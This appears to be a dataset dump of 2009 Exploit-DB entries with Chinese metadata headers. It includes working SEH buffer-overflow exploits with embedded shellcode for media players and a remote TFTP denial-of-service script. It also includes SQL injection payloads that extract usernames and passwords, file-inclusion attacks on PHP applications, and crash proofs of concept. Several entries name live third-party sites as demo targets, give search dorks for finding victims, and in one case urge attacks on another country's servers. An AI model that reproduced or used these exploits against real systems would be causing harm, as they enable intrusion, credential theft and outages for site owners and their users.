QLWD/code_shield huggingface dataset:
标题: akPlayer 1.9.0 - '.plt' Universal Buffer Overflow (SEH) EDB-ID: 9568 CVE: 2009-3058 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-01 漏洞利用脚本: #!/usr/bin/python
#
#[x] Bug: akPlayer 1.9.0 (.plt) Universal BOF Exploit (SEH)
#[x] Author : TiGeR-Dz
#[x] Usage : exploit.py > exploit.plt
#[x] Usage2: Just grab the plt file into akPlayer.
#[x] Greetz: thanks very match his0k4

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")

buffer =  shellcode
buffer += '\x41'*(3324-len(shellcode))
buffer += '\xE9\xFF\xF2\xFF\xFF' #jump
buffer += '\x43'*787 #padding
buffer += '\x59\xC3' #pop ecx; retn
buffer += '\x90\x90' #nop
buffer += '\xF8\x28\x40'#pop pop ret=>universal
print buffer

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9568
标题: Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal EDB-ID: 9579 CVE: 2009-0927 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-03 漏洞利用脚本: #!/usr/bin/env python
#
# *** Acrobat Reader - Collab getIcon universal exploiter ***
# evil_pdf.py, tested on Operating Systems:
# Windows XP SP3 English/French
# Windows 2003 SP2 English
# with Application versions:
# Adobe Reader 9.0.0/8.1.2 English/French
# Test methods:
# Standalone PDF, embedded PDF in Firefox 3.0.13 and Internet Explorer 7
# 24/06/2009 - Created by Ivan Rodriguez Almuina (kralor). All rights reserved.
# [Coromputer] raised from the ashes.
#

http://www.coromputer.net/CVE-2009-0927_package.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9579.zip (2009-CVE-2009-0927_package.zip)

# milw0rm.com [2009-09-03] URL: https://www.exploit-db.com/exploits/9579
标题: KingCMS 0.6.0 - 'menu.php' Remote File Inclusion EDB-ID: 9566 CVE: 2009-3056 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: -------------------------------------------------------------------------------------
Kingcms v0.6.0 [menu.php] Remote File Inclusion Vulnerability
-------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu[at]windowslive[dot]com
 
Script Download: http://sourceforge.net/projects/kingcms/
 
-------------------------------------------------------------------------------------
 
EXPLOÄ°T:
 
http://localhost/[PATH]/include/engine/content/elements/menu.php? CONFIG[AdminPath] =[SHELL]
 
-------------------------------------------------------------------------------------
BUG:

<?
require_once($CONFIG['AdminPath'] . "/include/engine/folder.php");  

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9566
标题: Joomla! Component com_artportal 1.0 - 'portalid' SQL Injection EDB-ID: 9563 CVE: 2009-3054 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Joomla Compenent Com_artportal (portalid) Remote SQL Injection Vulnerabilities
# [+] Software : Joomla Compenent Com_artportal
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Kim, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
# [+] SQL
#
#  - http://www.site.com/index.php?option=com_artportal&portalid=1 union all select 1,2,3,4,5,6,version(),8,9--
#
#   [+] Demo
#
#    - http://demo.artetics.com/index.php?option=com_artportal&portalid=1%20union%20all%20select%201,2,3,4,5,6,version(),8,9--
#
# [+] Blind SQL
#
#  - http://www.site.com/index.php?option=com_artportal&portalid=1 and 1=2 => False
#  - http://www.site.com/index.php?option=com_artportal&portalid=1 and and 1=1 => True
#
#  - http://www.site.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False
#  - http://www.site.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True
#
#   [+] Demo
#
#    - http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and 1=2 => False
#    - http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and 1=1 => True
#
#    - http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False
#    - http://demo.artetics.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True
#
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9563
标题: Joomla! Component Agora 3.0.0b (com_agora) - Local File Inclusion EDB-ID: 9564 CVE: 2009-3053 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : ByALBAYX
                              
@~~=Website  : WWW.C4TEAM.ORG
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

@~~=TÂ¸m â€ºslam Aleminin Ramazan-Ë ï¬erifleri HayËrlË Olsun.

@~~=======================================~~@
@~~=Script   : Joomla Component Com_Agora

@~~=S.Site   : http://joomlame.com
@~~=======================================~~@

@~~=Vuln

             : http://c4team.org/ [Yol] /index.php?option=com_agora&task=profile&page=avatars&action=  [-LFI-]

@~~=Dork

             :Powered by Agora 3.0.0b

@~~=Demo

             :http://haaseit.com/index.php?option=com_agora&task=profile&page=avatars&action=

             :http://fairweatherforge.com/index.php?option=com_agora&task=profile&page=avatars&action=

             :http://piedmontamateurastronomers.com/index.php?option=com_agora&task=profile&page=avatars&action=

             :http://acbnbiz.com/index.php?option=com_agora&task=profile&page=avatars&action=

             :http://v5medical.com/index.php?option=com_agora&task=profile&page=avatars&action=

@~~=Vs.. Vs.. Vs..
@~~=======================================~~@

@~~=ByALBAYX :/

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9564
标题: Mybuxscript PTC-BUX - 'spnews.php' SQL Injection EDB-ID: 9555 CVE: 2009-3246 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-31 漏洞利用脚本: ------------------------------------------------------------

Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

------------------------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: Mybuxscript PTC-BUX (BASIC/ADVANCE/PRO)

Home...: http://www.mybuxscript.com/index.php?cPath=1

-----------------------------------------------------

Exploit:

[~] http://localhost/Path/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------

Demo...: 

A: http://mybuxscript.com/salescripts/ptc_basic/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

B: http://mybuxscript.com/salescripts/ptc_advance/?p=spnews&id=-10+UNION+SELECT+1,version(),3,4--

C: http://mybuxscript.com/salescripts/ptc_professional/?p=spnews&id=-12+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------------------------------------

Greetz.: ~ JiKo ~ The Sad Hacker ~ All No-Exploit.com Members

-------------------------------------------------------------

# milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9555
标题: Rock Band CMS 0.10 - 'news.php' Multiple SQL Injections (1) EDB-ID: 9553 CVE: 2009-3252 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-31 漏洞利用脚本: #################################################################
#  _______ _________ _           #
#       (  ____ )\__   __/( (    /|    #
# | (    )|   ) (   |  \  ( |    #
# | (____)|   | |   |   \ | |    #
# |     __)   | |   | (\ \) |    #
# | (\ (      | |   | | \   |    #
# | ) \ \__   | |   | )  \  |    #
# |/   \__/   )_(   |/    )_)    #
#        http://root-the.net     #
#################################################################
#[+] BandCMS v0.10 news.php Milti SQL Injection Vulnerabilities #
#[+] Vendor : http://rockband.sourceforge.net/   #
#[+] Exploit : Affix <root@root-the.net>   #
#[+] Dork : "Powered by Rock Band CMS 0.10"   #
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead,  #
#          str0ke, tekto, raT, uNkn0wn.ws, ryan1918.com #
#################################################################
# BandCMS v0.10 Has an SQL Injection in news.php   #
#        #
# Code :       #
#  if(isset($_GET['year'])){    #
#  $year = $_GET['year'];    #
#  $smarty->assign('news', $db->getNewsYear($year));
# }       #
#        #
#        #
# Exploit :      #
# http://site.com/news.php?year=-2004+UNION+SELECT+1,2,3,4--
#        #
#        #
# Code :       #
#     $id = $_GET['id'];     #
#     $newsItem = $db->getNewsItem($id);   #
#     $smarty->assign('news', $newsItem);   #
#        #
# Exploit :      #
# http://site.com/news.php?id=-1+UNION+SELECT+1,2,3,4-- #
#        #
#        #
# Patch :       #
# Since Im a Nice guy here is a change both variables as #
# follows       #
#        #
#  $year = addslashes(mysql_real_escape_string($_GET['year'])); #
#        #
# $year = addslashes(mysql_real_escape_string($_GET['id']));
#        #
#################################################################

# milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9553
标题: Ultimate Player 1.56b - '.m3u' / '.upl' Universal Local Buffer Overflow (SEH) EDB-ID: 9548 CVE: 2009-3254 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-31 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Ultimate Player v 1.56 beta (.m3u/upl) Universal Local BOF SEH
####################################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";##tasted under sp2//sp3 univ
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9548
标题: AIMP2 Audio Converter 2.53b330 - '.pls' / '.m3u' Unicode Crash (PoC) EDB-ID: 9561 CVE: 2009-3170 类型: DOS 平台: WINDOWS 发布日期: 2009-09-01 漏洞利用脚本: #!/usr/bin/python
#
# ######################################################################
#
# AIMP2 Audio Converter <= 2.53 (build 330) (.pls/.m3u) Unicode local crash PoC
# Found & exploited by: mr_me
# Download: ftp://www.catode.ru/AIMP/aimp_2.51.330.zip
# Tested on: Wind0ws XP SP3
# 
# ######################################################################
#
# Unicode overflow, maybe someone with better skills can exploit this 
# you need to overwrite SEH handler with a CALL EAX 0x00XX00XX instruction.
# Here is the crash breakdown:
# 
# EAX 001B0020 UNICODE "AAAAAAAAAAAAAAAAAAAA~
# ECX 00000273
# EDX 00000C4C
# EBX 00000000
# ESP 0012DCA8
# EBP 0012DD64
# ESI 001B6610 UNICODE "AAAAAAAAAAAAAAAAAAAA~
# EDI 00130000 ASCII "Actx "
# EIP 004530C6 AIMP2.004530C6
#
# And then when we pass the exemption handler to overwrite EIP...
#
# EIP 00410041
#

header = ("[playlist]\nNumberOfEntries=3\n\n");
header += ("File1=");
crash = ("\x41" * 5000);

buffer = header + crash
file=open('mr_mes_funky.pls','w')
file.write(buffer)
file.close()
print "[+] mr_mes_funky.pls file created successfully"

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9561
标题: SolarWinds TFTP Server 9.2.0.111 - Remote Denial of Service EDB-ID: 9547 CVE: 2009-3115 类型: DOS 平台: WINDOWS 发布日期: 2009-08-31 漏洞利用脚本: #!/usr/bin/perl
# SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
# by Gaurav Baruah
# TFTP Server Service stops after payload
# is sent, and has to be started again in Config
# Tested on XP SP3
# Big thnx: dragunov
# Greetz: Sanjay

use IO::Socket;
$port = "69";
$host = "127.0.0.1";
$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
$boom=
"\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5".
"\xc1\xe8\x7d\x31\x34\xee\xd8\x60\x41\x8f\x92\x25\x9c\x5c\xcc\x78\x6a";
$tftpudp->send($boom);

# milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9547
标题: μTorrent (uTorrent) 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) EDB-ID: 9539 CVE: 2009-5134 类型: DOS 平台: WINDOWS 发布日期: 2009-08-28 漏洞利用脚本: #!/usr/bin/env python

#####################################################################################################
#
# uTorrent <= 1.8.3 (Build 15772) Create New Torrent Buffer Overflow PoC
# By: Dr_IDE
# Note: This is old but I figured I would release it if someone wanted to play with it.
# Note: This was fixed as of version 1.8.3 (Build 16010)
# Download: http://www.filehippo.com/download_utorrent/download/9219a21fa300a93e885069c992a8a925/
# Usage: File -> Create New Torrent -> Paste string into "Source" field -> Click "Add File"
#
#####################################################################################################


buff = ("\x41" * 9000)

try:
 f1 = open("uTorrent.txt","w");
 f1.write(buff);
 f1.close();

 print "\nuTorrent <= 1.8.3 (Build 15772) Create New Torrent Buffer Overflow PoC"
 print "By: Dr_IDE"
 print "\nFile Created Successfully.\n"
 print "Usage: \n[-] Click File\n[-] Create New Torrent\n[-] Paste string into \"Source\" field\n[-] Click \"Add File\""

except:
 print "Error. File couldn't be created."

# milw0rm.com [2009-08-28] URL: https://www.exploit-db.com/exploits/9539
标题: Joomla! Component com_digifolio 1.52 - 'id' SQL Injection EDB-ID: 9534 CVE: 2009-3193 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-27 漏洞利用脚本: *********************************************************************
Joomla Component com_digifolio 1.52 (id) SQL Injection Vulnerability
*********************************************************************
   --==[ Author ]==--
[+] Author : v3n0m
[+] Contact : v3n0m666[at]live[dot]com
[+] Blog : http://0wnage.wordpress.com/
[+] Group : YOGYACARDERLINK
[+] Site : http://yogyacarderlink.web.id/
[+] Date : August, 27th 2009 [INDONESIA]
*********************************************************************
         --==[ soft Info ]==--
[+] Software : DigiFolio Component
[+] Version  : 1.52
[+] Vendor  : http://www.uwix.nl/testcase/
[+] License : GPL
[+] Vulnerable : SQL Injection
[+] Google Dork : inurl:"com_digifolio"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] /**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--

[-] SQLi p0c:
[+] http://localhost/[path]/index.php?option=com_digifolio&view=project&id=[xxx]/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--
    [xxx] = Valid id number

[-] Demo Live:
[+] http://www.uwix.nl/testcase/index.php?option=com_digifolio&view=project&id=4/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Special Thanks => str0ke & milw0rm
RedLine Crew => Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid
  => Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew
YOGYACARDERLINK => lingah,leQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee
  => yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan
Others  => g0par Santiago,Don Tukulesto,yadoy666,mixbrainwasher
  => badkiddies,broken_hack,M3G4TR0N & ALL MOSLEM HACKERS

* Fuck to Malaysia <= the truly country stealer of asia
  be carefull your art country get stolen and claimed by them
  letz we hack they sites & servers !! PROUD TO BE INDONESIAN !!
* 04:30am in my bedroom, Inspirated by Yogyakarta & jovita (i really mizz you)

# milw0rm.com [2009-08-27] URL: https://www.exploit-db.com/exploits/9534
标题: Swift Ultralite 1.032 - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 9546 CVE: 2009-3253 类型: DOS 平台: WINDOWS 发布日期: 2009-08-31 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# Swift Ultralite 1.032 (.M3U) Local Buffer Overflow PoC
############################################################
##EAX 00000000
##ECX FFFFFFFF
##EDX 004976F0 SwiftUlt.004976F0
##EBX 00000270
##ESP 0013F1CC
##EBP 00000000
##ESI 0013F31B ASCII"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
##EDI 41414141
##EIP 00410CE0 SwiftUlt.00410CE0
#############################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
##############################################################

# milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9546
标题: PHPSANE 0.5.0 - 'save.php' Remote File Inclusion EDB-ID: 9533 CVE: 2009-3188 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: -----------------------------------------------------------------------------------
phpSANE v 0.5.0 (save.php) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------
Author: CoBRa_21
Mail: uyku_cu@windowslive.com
Script Download:http://sourceforge.net/projects/phpsane/
Dork: Yok :P
-----------------------------------------------------------------------------------
BUG
<?PHP
include("language.php");

$file_save = $_GET['file_save'];
$file_save_image = $_GET['file_save_image'];
$lang_id = $_GET['lang_id'];

if ($file_save_image)
{
  echo "<p class=\"align_center\">\n";
  echo "<img src=\"".$file_save."\" border=\"2\">\n";
  echo "</p>\n";
}
else
{
  // my_pre my_mono
  echo "<p class=\"my_pre\">\n";
  include($file_save);
  echo "</p>\n";
  echo "<hr>\n";
}
-----------------------------------------------------------------------------------
Exploit
http://localhost/path/save.php?file_save= (Shell Code)
-----------------------------------------------------------------------------------
TÃ¼m Ä°slam Aleminin Ramazan-Ä± Åžerifleri HayÄ±rlÄ± ve Mubarek Olsun.
-----------------------------------------------------------------------------------

# milw0rm.com [2009-08-26] URL: https://www.exploit-db.com/exploits/9533
标题: Silurus Classifieds System - 'category.php' SQL Injection EDB-ID: 9538 CVE: 2009-3117 2009-3082 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-28 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( category.php ID )
##
## Silurus Classifieds System
##
## http://snowhall.com/silurus
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/category.php?ID=1+and+1=0+UNION+SELECT+0,0,0,CONCAT_WS(0x3a3a,NickName,Password),0,0,0,0,0,0+FROM+Profiles--
## www.TraGeT.CoM/category.php?ID=1+and+1=0+UNION+SELECT+0,0,0,CONCAT_WS(0x3a3a,Name,Password),0,0,0,0,0,0+FROM+Admins--
##
########################
########################
 
Download ::  http://snowhall.com/downloads/silurus.php
 
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
######################################################################################################### 

# milw0rm.com [2009-08-28] URL: https://www.exploit-db.com/exploits/9538